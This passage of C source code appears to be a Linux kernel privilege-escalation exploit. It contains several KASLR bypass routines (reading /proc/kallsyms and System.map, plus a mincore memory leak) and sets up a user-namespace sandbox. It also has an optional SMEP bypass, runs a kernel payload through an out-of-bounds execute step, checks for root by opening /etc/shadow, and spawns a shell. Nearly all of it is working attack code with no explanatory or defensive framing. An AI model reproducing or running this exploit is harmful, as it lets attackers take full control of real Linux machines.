char* name = "startup_64";
|
|
char* path = "/proc/kallsyms";
|
|
|
|
dprintf("[.] trying %s...\n", path);
|
|
f = fopen(path, "r");
|
|
if (f == NULL) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
return 0;
|
|
}
|
|
|
|
int ret = 0;
|
|
while (ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", sname);
|
|
continue;
|
|
}
|
|
if (!strcmp(name, sname)) {
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
fclose(f);
|
|
dprintf("[-] kernel base not found in %s\n", path);
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr_sysmap() {
|
|
FILE *f;
|
|
unsigned long addr = 0;
|
|
char path[512] = "/boot/System.map-";
|
|
char version[32];
|
|
|
|
struct utsname u;
|
|
u = get_kernel_version();
|
|
strcat(path, u.release);
|
|
dprintf("[.] trying %s...\n", path);
|
|
f = fopen(path, "r");
|
|
if (f == NULL) {
|
|
dprintf("[-] open/read(%s)\n", path);
|
|
return 0;
|
|
}
|
|
|
|
char dummy;
|
|
char sname[256];
|
|
char* name = "startup_64";
|
|
int ret = 0;
|
|
while (ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", sname);
|
|
continue;
|
|
}
|
|
if (!strcmp(name, sname)) {
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
fclose(f);
|
|
dprintf("[-] kernel base not found in %s\n", path);
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr_mincore() {
|
|
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
|
unsigned long iterations = 20000000;
|
|
unsigned long addr = 0;
|
|
|
|
dprintf("[.] trying mincore info leak...\n");
|
|
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
|
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
|
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
|
dprintf("[-] mmap()\n");
|
|
return 0;
|
|
}
|
|
|
|
int i;
|
|
for (i = 0; i <= iterations; i++) {
|
|
/* Touch a mishandle with this type mapping */
|
|
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
|
dprintf("[-] mincore()\n");
|
|
return 0;
|
|
}
|
|
|
|
int n;
|
|
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
|
addr = *(unsigned long*)(&buf[n]);
|
|
/* Kernel address space */
|
|
if (addr > 0xffffffff00000000) {
|
|
addr &= 0xffffffffff000000ul;
|
|
if (munmap((void*)0x66000000, 0x20000000000))
|
|
dprintf("[-] munmap()\n");
|
|
return addr;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (munmap((void*)0x66000000, 0x20000000000))
|
|
dprintf("[-] munmap()\n");
|
|
|
|
dprintf("[-] kernel base not found in mincore info leak\n");
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
|
|
|
unsigned long get_kernel_addr() {
|
|
unsigned long addr = 0;
|
|
|
|
addr = get_kernel_addr_kallsyms();
|
|
if (addr) return addr;
|
|
|
|
addr = get_kernel_addr_sysmap();
|
|
if (addr) return addr;
|
|
|
|
addr = get_kernel_addr_syslog();
|
|
if (addr) return addr;
|
|
|
|
addr = get_kernel_addr_mincore();
|
|
if (addr) return addr;
|
|
|
|
dprintf("[-] KASLR bypass failed\n");
|
|
exit(EXIT_FAILURE);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
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static bool write_file(const char* file, const char* what, ...) {
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char buf[1024];
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va_list args;
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va_start(args, what);
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vsnprintf(buf, sizeof(buf), what, args);
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va_end(args);
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buf[sizeof(buf) - 1] = 0;
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int len = strlen(buf);
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int fd = open(file, O_WRONLY | O_CLOEXEC);
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if (fd == -1)
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return false;
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if (write(fd, buf, len) != len) {
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close(fd);
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return false;
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}
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close(fd);
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return true;
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}
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void setup_sandbox() {
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int real_uid = getuid();
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int real_gid = getgid();
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if (unshare(CLONE_NEWUSER) != 0) {
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dprintf("[!] unprivileged user namespaces are not available\n");
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dprintf("[-] unshare(CLONE_NEWUSER)\n");
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exit(EXIT_FAILURE);
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}
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if (unshare(CLONE_NEWNET) != 0) {
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dprintf("[-] unshare(CLONE_NEWUSER)\n");
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exit(EXIT_FAILURE);
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}
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if (!write_file("/proc/self/setgroups", "deny")) {
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dprintf("[-] write_file(/proc/self/set_groups)\n");
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exit(EXIT_FAILURE);
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}
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if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
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dprintf("[-] write_file(/proc/self/uid_map)\n");
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exit(EXIT_FAILURE);
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}
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if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
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dprintf("[-] write_file(/proc/self/gid_map)\n");
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exit(EXIT_FAILURE);
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}
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cpu_set_t my_set;
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CPU_ZERO(&my_set);
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CPU_SET(0, &my_set);
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if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
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dprintf("[-] sched_setaffinity()\n");
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exit(EXIT_FAILURE);
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}
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if (system("/sbin/ifconfig lo mtu 1500") != 0) {
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dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
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exit(EXIT_FAILURE);
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}
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if (system("/sbin/ifconfig lo up") != 0) {
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dprintf("[-] system(/sbin/ifconfig lo up)\n");
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exit(EXIT_FAILURE);
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}
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}
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void exec_shell() {
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int fd;
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fd = open("/proc/1/ns/net", O_RDONLY);
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if (fd == -1) {
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dprintf("error opening /proc/1/ns/net\n");
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exit(EXIT_FAILURE);
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}
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if (setns(fd, CLONE_NEWNET) == -1) {
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dprintf("error calling setns\n");
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exit(EXIT_FAILURE);
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}
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system(SHELL);
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}
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bool is_root() {
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// We can't simple check uid, since we're running inside a namespace
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// with uid set to 0. Try opening /etc/shadow instead.
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int fd = open("/etc/shadow", O_RDONLY);
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if (fd == -1)
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return false;
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close(fd);
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return true;
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}
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void check_root() {
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dprintf("[.] checking if we got root\n");
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if (!is_root()) {
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dprintf("[-] something went wrong =(\n");
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return;
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}
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dprintf("[+] got r00t ^_^\n");
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exec_shell();
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}
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|
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int main(int argc, char** argv) {
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if (argc > 1) SHELL = argv[1];
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|
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dprintf("[.] starting\n");
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|
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dprintf("[.] checking kernel version\n");
|
|
detect_kernel();
|
|
dprintf("[~] done, version looks good\n");
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|
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dprintf("[.] checking SMEP and SMAP\n");
|
|
check_smep_smap();
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dprintf("[~] done, looks good\n");
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|
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dprintf("[.] setting up namespace sandbox\n");
|
|
setup_sandbox();
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|
dprintf("[~] done, namespace sandbox set up\n");
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|
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#if ENABLE_KASLR_BYPASS
|
|
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
|
KERNEL_BASE = get_kernel_addr();
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|
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
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#endif
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|
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dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
|
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
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|
|
unsigned long payload = (unsigned long)&get_root;
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|
|
#if ENABLE_SMEP_BYPASS
|
|
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
|
mmap_stack();
|
|
payload = XCHG_EAX_ESP_RET;
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|
dprintf("[~] done, fake stack mmapped\n");
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#endif
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|
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dprintf("[.] executing payload %lx\n", payload);
|
|
oob_execute(payload);
|
|
dprintf("[~] done, should be root now\n");
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|
|
check_root();
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return 0;
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}
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